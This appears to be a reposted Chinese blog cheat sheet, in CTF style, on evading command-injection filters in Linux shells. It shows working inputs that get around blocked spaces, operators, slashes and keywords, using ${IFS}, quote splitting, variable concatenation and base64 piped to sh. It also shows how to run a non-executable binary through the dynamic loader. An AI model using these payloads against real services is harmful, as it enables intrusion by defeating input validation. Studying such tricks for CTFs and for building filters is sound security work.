Linux命令Bypass过滤
文章目录 过滤空格过滤运算符过滤斜杠过滤关键字无x权限的ELF 过滤空格${IFS}在man bash手册中有介绍。它是一个字符串类 2020-08-16 11:56:10 Author: hosch3n.github.io(查看原文) 阅读量:19 收藏

文章目录

过滤空格

${IFS}man bash手册中有介绍。它是一个字符串类型的分隔符集合,顾名思义就是用来定义分隔符的内置变量。通过echo -n "$IFS" | hexdump可以看到十六进制编码后的内部值

1
2
3
$ echo -n "$IFS" | hexdump
0000000 0920 000a
0000003

不同的Linux发行版略有差异,主要是0x09(\t)0x20(空格)0x0a(\n)这三个默认值顺序的不同。它们三兄弟虽然紧挨在一起,但都是单独地起作用(即没有用来分割分隔符的分隔符)。IFS的值与$*$@等内置变量也关系密切,通过将IFS赋空(NULL)可以实现一些特殊效果。在绕过时可以配合$9这个特殊空字符串

  • 重定向符:cat<>flagcat<flag

过滤运算符

灵活运用&|&&||;%0a(\n):等符号

过滤斜杠

cd配合命令分隔符

通过grep递归查找:grep -ri . flag

过滤关键字

假设过滤cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
`c''at`

`c""at`

```ca``t```

`ca\t`

`x=ca;y=t;$x$y`

`echo 'Y2F0IGZsYWc='|base64 -d|sh`

`bash -c "{echo, Y2F0IGZsYWc=}|{base64, -d}|{bash, -i}"`


无x权限的ELF

利用动态加载器执行

1
2
3
4
5
ldd readflag

readelf -r readflag

./lib64/ld-linux-x86-64.so.2 ./readflag

文章来源: https://hosch3n.github.io/2020/08/16/Linux%E5%91%BD%E4%BB%A4Bypass%E8%BF%87%E6%BB%A4/
如有侵权请联系:admin#unsafe.sh